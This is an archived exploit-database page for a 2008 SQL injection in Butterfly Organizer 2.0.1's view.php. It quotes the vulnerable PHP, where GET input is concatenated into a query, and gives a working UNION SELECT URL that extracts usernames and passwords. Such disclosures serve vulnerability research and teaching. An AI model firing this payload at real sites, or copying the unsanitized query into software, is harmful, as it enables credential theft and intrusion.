Lucene search
+L

Butterfly ORGanizer 2.0.1 - 'id' SQL Injection

🗓️ 10 Dec 2008 00:00:00Reported by OsirysType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 40 Views

Butterfly Organizer 2.0.1 SQL Injection vulnerability in view.ph

Related
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2008-6311
13 Jun 200800:00
circl
circl
Circl
CVE-2008-6328
13 Jun 200800:00
circl
cve
CVE
CVE-2008-6311
27 Feb 200911:00
cve
cve
CVE
CVE-2008-6328
27 Feb 200911:00
cve
cvelist
Cvelist
CVE-2008-6311
27 Feb 200911:00
cvelist
cvelist
Cvelist
CVE-2008-6328
27 Feb 200911:00
cvelist
exploitdb
Exploit DB
Butterfly ORGanizer 2.0.0 - SQL Injection / Cross-Site Scripting
13 Jun 200800:00
exploitdb
euvd
EUVD
EUVD-2008-6281
7 Oct 202500:30
euvd
euvd
EUVD
EUVD-2008-6298
7 Oct 202500:30
euvd
nvd
NVD
CVE-2008-6311
27 Feb 200911:30
nvd
Rows per page
#########################################################################################
[0x01] Informations:

Name           : Butterfly Organizer 2.0.1 Sql Injection
Download       : http://www.hotscripts.com/jump.php?listing_id=72677&jump_type=1
Vulnerability  : Remote Sql Injection
Author         : Osirys
Contact        : osirys[at]live[dot]it
Notes          : Proud to be Italian
*              : Same bug of the previous version: http://milw0rm.com/exploits/5797

#########################################################################################
[0x02] Bug:

Bugged file is /[path]/view.php

[CODE]
$mytable = $_GET['mytable'];
$id = $_GET['id'];

$result = mysql_query("SELECT * FROM ".$mytable." WHERE id=$id",$database);
$myrow = mysql_fetch_array($result);
[/CODE]

Query accept direct GET input, so we can inject hell sql code.
To avoid this vulnerability, just escape GET input.

#########################################################################################
[0x03] Exploit:

http://localhost/[path]/view.php?id=-1+union+select+0x49276d2076756c6e657261626c65203a28,2,3,name,url,username,password,8,9,10+from+test_category&mytable=test_category

########################################################################################

# milw0rm.com [2008-12-10]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

06 Dec 2016 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 27.5
EPSS0.01149
40